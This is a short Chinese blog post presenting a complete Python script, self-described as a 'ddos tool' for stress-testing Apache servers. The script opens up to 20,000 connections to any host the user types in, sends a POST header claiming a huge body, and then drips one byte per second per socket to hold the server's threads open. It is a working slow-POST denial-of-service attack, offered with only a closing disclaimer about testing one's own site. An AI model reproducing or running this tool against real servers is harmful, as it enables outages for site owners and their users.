python压力测试模块_Python编写服务器压力测试小工具(仅供测试)

想知道你的网站能支持多少用户一起访问吗?想知道你的网站在遭遇DDOS时能坚持多长时间嘛?

此文章只适用于Apache服务器,不适用于Nginx及其它服务器。考虑到Apache服务器的特性,一个连接对应一个线程(Nginx可以做到上万连接对应一个线程,需要用更复杂的工具),而处理线程会消耗服务器资源

所以,我来用Python写一个快速创建连接的脚本,以针对Apache特点进行压力测试

#!/usr/bin/env python

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000 #最大连接数,可以按需修改,达到这个数值没有死就说明很棒了

PORT=int(input('请输入测试端口:'))

HOST=input('请输入测试域名/IP:')

PAGE=input('请输入要测试的页面(默认输入/index.php):')

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf.encode())

print ("Send buf OK!,conn=%d\n"%i)

socks.append(s)

except Exception as ex:

print ("Could not connect to server or send error:%s"%ex)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send("f".encode())

#print "send OK!"

except Exception as ex:

print ("Send Exception:%s\n"%ex)

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

注意:此工具仅用于测试自己的网站,严禁用于非法用途,后果自负!

你可能感兴趣的:(python压力测试模块)